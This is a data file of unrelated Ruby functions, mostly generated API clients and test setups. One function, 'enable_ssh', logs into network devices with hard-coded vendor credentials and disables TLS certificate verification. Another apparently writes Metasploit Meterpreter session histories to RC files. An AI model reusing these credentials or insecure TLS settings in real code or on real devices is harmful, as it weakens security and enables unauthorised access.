"def reconnect\n handle_action_exceptions(__method__) do\n priv_close\n load_winrm_ps\n load_toolshck\n @json ? { 'result' => 'Success' } : true\n end\n end",
"def get_device_capabilities\n url = \"#{settings.FQDN}/1/devices/tel:#{session[:dc_address]}/info?\"\n\n # access_token\n url += \"access_token=#{session[:dc_access_token]}\"\n\n RestClient.get url do |response, request, code, &block|\n @r = response\n end\n \n if @r.code == 200\n @result = JSON.parse @r\n else\n @error = @r\n end\n\nrescue => e\n @error = e.message\nensure\n return erb :dc\nend",
"def get_capability_switch_capability_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_switch_capability_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.get_capability_switch_capability_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapability'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_switch_capability_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_switch_capability_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def setup\n capabilities = {\n platformName: 'Windows',\n platformVersion: '10',\n browserName: 'Chrome',\n browserVersion: '58',\n resolution: '1280x1024',\n securityToken: @@token\n }\n _url = 'http://' + @@Host + '/nexperience/perfectomobile/wd/hub/fast'\n\n @driver = Selenium::WebDriver.for(:remote, :url => _url, :desired_capabilities => capabilities)\n @reportiumClient = create_reportium_client\n end",
"def load_current_resource\n @current_resource = Chef::Resource::NexusCapability.new(new_resource.name)\n\n run_context.include_recipe \"nexus::cli\"\n Chef::Nexus.ensure_nexus_available(node)\n\n @current_resource\nend",
"def threads\n raise CapabilitiesExceeded\n end",
"def patch_capability_io_card_capability_def_with_http_info(moid, capability_io_card_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_io_card_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_io_card_capability_def\"\n end\n # verify the required parameter 'capability_io_card_capability_def' is set\n if @api_client.config.client_side_validation && capability_io_card_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_capability_def' when calling CapabilityApi.patch_capability_io_card_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_io_card_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_io_card_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def refresh_feature_cache \n get(\"/globalsettings.json/cache/refresh\")\nend",
"def register_worker\n super\n\n puts \"Fifo Startup - Updating worker list\"\n manager.request_refresh\n end",
"def server_report\n get_resource_list('compute', 'servers', 'servers')\n @server_csv_array = []\n @server_print_array = []\n @resource_id_list.each do |serverid|\n server = rest_get(\"#{@resource_url}/servers/#{serverid}\", @token_id)\n server_array = JSON.parse(server)['server']\n server_name = server_array['name']\n server_lpar_name = server_array['OS-EXT-SRV-ATTR:instance_name']\n server_lpar_state = server_array['OS-EXT-STS:vm_state']\n server_state = server_array['status']\n server_health = server_array['health_status']['health_value']\n server_host = server_array['OS-EXT-SRV-ATTR:host']\n server_addresses = JSON.parse(server)['server']['addresses']\n @server_ipaddress = ''\n unless server_addresses.empty? || server_state != 'ACTIVE'\n @server_ipaddress = server_addresses.values[0][0]['addr']\n end\n server_flavor = server_array['flavor.original_name']\n server_cpus = server_array['cpus']\n server_memory = server_array['memory_mb']\n server_cpu_util = server_array['cpu_utilization']\n server_cpu_mode = server_array['vcpu_mode']\n server_os = server_array['operating_system']\n server_cpu_pool = server_array['shared_proc_pool_name']\n server_cpu_share_weight = server_array['shared_weight']\n server_compat_mode = server_array['desired_compatibility_mode']\n @server_csv_array << [server_name, server_lpar_name, server_lpar_state, server_state, server_host, server_health, @server_ipaddress, server_flavor, server_cpus, \\\n server_memory, server_cpu_util, server_cpu_mode, server_os, server_cpu_pool, server_cpu_share_weight, server_compat_mode]\n @server_print_headers = %w(Host_Name LPAR_Name LPAR_State OS_Status Machine_Name LPAR_Health IPaddress Template CPU Memory CPU_Util CPU_Mode CPU_Pool Share_Weight)\n @server_print_array << [server_name, server_lpar_name, server_lpar_state, server_state, server_host, server_health, @server_ipaddress, server_flavor, server_cpus, \\\n server_memory, server_cpu_util, server_cpu_mode, server_cpu_pool, server_cpu_share_weight]\n end\n end",
"def queryOS(args)\n begin\n p = Hash.new\n uri = URI(args[:entrypoint])\n p[\"header\"] = {'Content-type'=>'application/json','Accept-type'=>'application/json','X-Auth-Token'=>args[:token]}\n case args[:component].to_s\n when \"Nova\"\n p[\"port\"] = uri.port || 8774\n\tp[\"path\"] = uri.path\n when \"Glance\"\n p[\"port\"] = uri.port || 9292\n p[\"path\"] = uri.path || \"/v1\"\n when \"Volume\"\n p[\"port\"] = uri.port || 8776\n\tp[\"path\"] = uri.path\n when \"Swift\" \n p[\"port\"] = uri.port || 8080\n\tp[\"path\"] = uri.path\n when \"Keystone\"\n p[\"port\"] = uri.port || 35357\n p[\"path\"] = uri.path || \"/v2/tokens\"\n when \"Cloud\"\n p[\"port\"] = uri.port || 8773\n p[\"path\"] = uri.path || \"/services/Cloud\"\n p[\"header\"] = {'Content-type'=>'application/xml','Accept-type'=>'application/xml'}\n else\n return false\n end\n p[\"location\"] = uri.host || \"\"\n p[\"path\"] = p[\"path\"] + args[:path] || uri.path\n p[\"request\"] = args[:request] || \"\"\n os = Net::HTTP.new(p[\"location\"],p[\"port\"])\n if uri.scheme == \"https\"\n os.use_ssl = true\n else\n os.use_ssl = false\n end\n resp = nil\n case args[:method].to_s\n when \"post\"\n resp = os.post(p[\"path\"], p[\"request\"], p[\"header\"])\n when \"get\"\n resp = os.get(p[\"path\"], p[\"header\"])\n when \"update\"\n resp = os.put(p[\"path\"], p[\"request\"], p[\"header\"])\n when \"delete\"\n resp = os.delete(p[\"path\"], p[\"header\"])\n end\n newdata = false\n if resp.code.to_i >= 200 and resp.code.to_i < 300\n if args[:component].to_s == \"Cloud\"\n newdata = resp.body\n else\n\t if args[:method].to_s == \"delete\"\n\t newdata = true\n else\n newdata = JSON resp.body\n end\n end\n end\n os = nil\n p = nil\n return newdata\n rescue Errno::EHOSTUNREACH\n false\n end\n end",
"def get_capability_switch_capability_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_switch_capability_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapabilityResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_switch_capability_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_switch_capability_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def delete_capability_sioc_module_capability_def_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.delete_capability_sioc_module_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.delete_capability_sioc_module_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.delete_capability_sioc_module_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#delete_capability_sioc_module_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def initialize\n # These require statements are intentionally placed here to initialize\n # the gRPC module only when it's required.\n # See https://github.com/googleapis/toolkit/issues/446\n require \"gapic/grpc\"\n require \"google/ads/googleads/v8/services/campaign_experiment_service_services_pb\"\n\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Client.configure.endpoint &&\n [email protected](\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = Operations.new do |config|\n config.credentials = credentials\n config.endpoint = @config.endpoint\n end\n\n @campaign_experiment_service_stub = ::Gapic::ServiceStub.new(\n ::Google::Ads::GoogleAds::V8::Services::CampaignExperimentService::Stub,\n credentials: credentials,\n endpoint: @config.endpoint,\n channel_args: @config.channel_args,\n interceptors: @config.interceptors\n )\n end",
"def update_capability_io_card_capability_def_with_http_info(moid, capability_io_card_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_io_card_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_io_card_capability_def\"\n end\n # verify the required parameter 'capability_io_card_capability_def' is set\n if @api_client.config.client_side_validation && capability_io_card_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_capability_def' when calling CapabilityApi.update_capability_io_card_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_io_card_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_io_card_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_capability\n @capability = Capability.find(params[:id])\n end",
"def launch\n # Get a completely fresh session for each launch. This is a rails method.\n reset_session\n cookies.clear\n redirect_to home_path, alert: \"Please provide the server_url, client_id, and client_secret.\" and return if !all_credentials_provided?\n # Set auth sessions with params values\n session[:launch] = params[:launch].present? ? params[:launch].strip : \"launch\"\n session[:iss_url] = cookies[:iss_url] = params[:iss_url].strip.delete_suffix(\"/\").delete_suffix(\"/metadata\")\n session[:client_id] = params[:client_id].strip\n session[:client_secret] = params[:client_secret].strip\n session[:scope] = params[:scope]&.strip\n # Get the server metadata\n rcResult = get_server_metadata(session[:iss_url])\n redirect_to home_path, alert: rcResult and return if rcResult.class == String\n # Logic for authenticated access server\n if session[:is_auth_server?]\n begin\n server_auth_url = set_server_auth_url()\n redirect_to server_auth_url\n rescue StandardError => exception\n redirect_back fallback_location: home_path, alert: \"Failed to connect: #{exception.message}\" and return\n end\n # Logic for unauthenticated server access: the user will provide the patient ID in the client_id & client_secret fields.\n else\n session[:patient_id] = session[:client_secret]\n redirect_to dashboard_url, notice: \"Signed in with Patient ID: #{session[:patient_id]}\"\n end\n cookies.clear\n end",
"def report_resources\n metadata = {\n 'sourcetype' => 'json_chef-resources',\n 'source' => 'chef-handler',\n 'host' => node.hostname,\n 'index' => @index,\n 'check-index' => false\n }\n event = run_status.updated_resources.to_json\n\n splunk_post(event, metadata)\n end",
"def update_soaplab_server(url)\n soaplab = SoaplabServer.find_by_location(url)\n data = soaplab.services_factory().values.flatten\n wsdls_from_server = data.collect{ |item| item[\"location\"]}\n registered_soaps = SoapService.find_all_by_wsdl_location(wsdls_from_server).compact\n registered_wsdls = registered_soaps.collect{|s| s.wsdl_location}\n wsdls_from_relationships = soaplab.services.collect{|service| service.latest_version.service_versionified.wsdl_location}\n wsdls_to_add = registered_wsdls - wsdls_from_relationships \n submitter = nil\n unless soaplab.services.empty?\n submitter = User.find(soaplab.services.first.submitter_id)\n end\n \n \n soaps_to_add = SoapService.find_all_by_wsdl_location(wsdls_from_server).compact\n services_to_add = soaps_to_add.collect{|s| s.service}\n puts \"server : #{url}\"\n puts \"No of relationships to add #{wsdls_to_add.length}\"\n puts wsdls_to_add\n unless wsdls_to_add.empty?\n if submitter.nil?\n submitter = User.find(SoapService.find_by_wsdl_location(wsdls_to_add.first).service.submitter_id)\n end\n soaplab.create_relationships(wsdls_to_add)\n create_tags_if_not_exist(services_to_add, submitter)\n end\n if soaplab.endpoint.nil?\n proxy_info = get_endpoint_and_name(url)\n unless proxy_info.empty?\n soaplab.endpoint = proxy_info[0] \n soaplab.name = proxy_info[1]\n soaplab.save\n end\n end\n end",
"def connect_to_patient_server\n puts \"==>connect_to_patient_server\"\n if session[:client_id].length == 0 \n @patient_client = FHIR::Client.new(session[:iss_url])\n @patient_client.use_r4\n return # We do not have authentication\n end\n if session.empty? \n err = \"Session Expired\"\n # binding.pry \n redirect_to root_path, alert: err\n end\n if session[:iss_url].present?\n @patient_client = FHIR::Client.new(session[:iss_url])\n @patient_client.use_r4\n token_expires_in = session[:token_expiration] - Time.now.to_i\n if token_expires_in.to_i < 10 # if we are less than 10s from an expiration, refresh\n get_new_token\n end\n @patient_client.set_bearer_token(session[:access_token])\n end\n rescue StandardError => exception\n reset_session\n err = \"Failed to connect: \" + exception.message\n redirect_to root_path, alert: err\n end",
"def initialize_self_service_registration_for_browsers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.initialize_self_service_registration_for_browsers ...'\n end\n # resource path\n local_var_path = '/api/kratos/public/self-service/registration/browser'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'RegistrationFlow'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"DefaultApi.initialize_self_service_registration_for_browsers\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#initialize_self_service_registration_for_browsers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_appliance_management_service_action_restart_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NsxComponentAdministrationApi.create_appliance_management_service_action_restart ...\"\n end\n # resource path\n local_var_path = \"/node/services/node-mgmt?action=restart\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NsxComponentAdministrationApi#create_appliance_management_service_action_restart\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def delete_capability_switch_descriptor_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.delete_capability_switch_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.delete_capability_switch_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.delete_capability_switch_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#delete_capability_switch_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def connection_status_login_request; end",
"def enable_ssh(s1_ip,logger)\n\n uri = URI.parse(\"https://#{s1_ip}/protected/sshservice.html\") #common url for all release\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(\"Nemuadmin\", \"nemuuser\")\n \n ssh_service_status_response=\"\"\n\n client=RestClient::Resource.new(\"https://#{s1_ip}/protected/sshservice.html\",:user=>\"Nemuadmin\",:password=>\"nemuuser\",:verify_ssl => OpenSSL::SSL::VERIFY_NONE)\n\n # response_body\n\n begin\n #Timeout.timeout(2){\n #ssh_service_status_response = http.request(request)\n response=client.get\n #puts \"response=#{response}\" \n #delete those fake bts\n if not response.match(/SSH\\sService\\sStatus/)\n LiveStatus.where(:s1_ip=>s1_ip).delete_all\n # puts \"#{s1_ip} deleted!\"\n logger.error \"#{s1_ip} deleted! \"\n return false\n end\n\n rescue\n live_status=LiveStatus.where(:s1_ip=>s1_ip).first\n logger.error \"#{s1_ip} is not a BTS \"\n return false if live_status.nil?\n\n # if live_status.ssh_pass.nil? ||live_status.ssh_pass<=1\n # puts \"#{s1_ip} deleted!\"\n # LiveStatus.where(:s1_ip=>s1_ip).delete_all\n # end\n\n return false\n end\n\n\n#check need token or not\n\n if response.match(\"token\") #this is a site version bigger >RL55\n result=enable_ssh_with_token(s1_ip,response)\n else\n #enable_ssh_without_token(s1_ip)\n result= enable_ssh_without_token_2(s1_ip)\n end\n\n if result==true\n logger.info \"#{s1_ip} enable ssh succsefully !\"\n return true\n else\n logger.error \"#{s1_ip} enable ssh fail !\"\n return false\n end\n \n return nil\nend",
"def setup\n # caps = Selenium::WebDriver::Remote::Capabilities.new\n # caps[:browserName] = :chrome\n #@driver = Selenium::WebDriver.for (\n # :remote,\n # :url=> 'http://localhost:4444/wd/hub',\n # :desired_capabilities=> caps )\n #ENV['base_url'] = 'http://codap.concord.org/~eireland/CodapClasses'\n @@driver = Selenium::WebDriver.for :chrome\n # ENV['base_url'] = 'http://localhost:4020/dg'\n ENV['base_url'] = 'http://codap.concord.org/releases/latest/'\n # setupHelper(@driver.session_id)\nrescue Exception => e\n puts e.message\n puts \"Could not start driver #{@@driver}\"\n exit 1\nend",
"def make_sessions_rc\n sessions_uuids = []\n sessions_info = []\n info = ''\n rc_file = ''\n rc_file_name = ''\n rc_list =[]\n\n framework.db.workspace.events.each do |e|\n if not e.info.nil? and e.info.has_key?(:command) and e.info[:session_type] =~ /meter/\n if e.info[:command] != 'load stdapi'\n if not sessions_uuids.include?(e.info[:session_uuid])\n sessions_uuids << e.info[:session_uuid]\n sessions_info << {:uuid => e.info[:session_uuid],\n :type => e.info[:session_type],\n :id => e.info[:session_id],\n :info => e.info[:session_info]}\n end\n end\n end\n end\n\n sessions_uuids.each do |su|\n sessions_info.each do |i|\n if su == i[:uuid]\n print_line(\"Creating RC file for Session #{i[:id]}\")\n rc_file_name = \"#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime('%Y%m%d.%H%M%S')}.rc\"\n i.each do |k, v|\n info << \"#{k.to_s}: #{v.to_s} \"\n end\n break\n end\n end\n rc_file << \"# Info: #{info}\\n\"\n info = ''\n framework.db.workspace.events.each do |e|\n if not e.info.nil? and e.info.has_key?(:command) and e.info.has_key?(:session_uuid)\n if e.info[:session_uuid] == su\n rc_file << \"# command executed at #{e.created_at}\\n\"\n rc_file << \"#{e.info[:command]}\\n\"\n end\n end\n end\n # Set RC file path and file name\n consonle_rc_path = ::File.join(Msf::Config.log_directory, 'projects', framework.db.workspace.name)\n rc_full_path = ::File.join(consonle_rc_path, rc_file_name)\n print_line(\"Saving RC file to #{rc_full_path}\")\n file_write(rc_full_path, rc_file)\n rc_file = ''\n print_line('RC file written')\n rc_list << rc_full_path\n end\n\n return rc_list\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # use the built-in error checking\n # if !runner.validateUserArguments(arguments(), user_arguments)\n # return false\n # end\n\n # log variable names\n out_var_names = []\n\n # HVAC equipment\n out_var_names << 'Boiler Heating Energy'\n out_var_names << 'Boiler Gas Energy'\n out_var_names << 'Chiller Evaporator Cooling Energy'\n out_var_names << 'Chiller Electric Energy'\n out_var_names << 'Cooling Coil Total Cooling Energy'\n out_var_names << 'Cooling Coil Electric Energy'\n out_var_names << 'Heating Coil Heating Energy'\n out_var_names << 'Heating Coil Electric Energy'\n out_var_names << 'Heating Coil Gas Energy'\n out_var_names << 'VRF Heat Pump COP'\n out_var_names << 'VRF Heat Pump Cooling COP'\n out_var_names << 'VRF Heat Pump Heating COP'\n out_var_names << 'VRF Heat Pump Cooling Electric Energy'\n out_var_names << 'VRF Heat Pump Heating Electric Energy'\n # out_var_names << 'Cooling Tower Fan Electric Energy'\n # out_var_names << 'Cooling Tower Fan Electric Power'\n # out_var_names << 'Cooling Tower Heat Transfer Rate'\n # out_var_names << 'Zone Water to Air Heat Pump Total Cooling Energy'\n # out_var_names << 'Zone Water to Air Heat Pump Total Heating Energy'\n # out_var_names << 'Zone Water to Air Heat Pump Electric Energy'\n\n # water heaters\n out_var_names << 'Water Heater Heating Energy'\n out_var_names << 'Water Heater Gas Energy'\n out_var_names << 'Water Heater Electric Energy'\n\n # refrigeration equipment\n out_var_names << 'Refrigeration System Total Compressor Electric Energy'\n out_var_names << 'Refrigeration System Total Transferred Load Heat Transfer Energy'\n out_var_names << 'Refrigeration System Total Cases and Walk Ins Heat Transfer Energy'\n out_var_names << 'Refrigeration Compressor Electric Energy'\n out_var_names << 'Refrigeration Compressor Heat Transfer Energy'\n out_var_names << 'Refrigeration System Condenser Heat Transfer Energy'\n out_var_names << 'Refrigeration System Condenser Fan Electric Energy'\n\n # request the variables\n out_var_names.each do |out_var_name|\n request = OpenStudio::IdfObject.load(\"Output:Variable,*,#{out_var_name},timestep;\").get\n result << request\n runner.registerInfo(\"Adding output variable for '#{out_var_name}' reporting timestep\")\n end\n\n return result\n end",
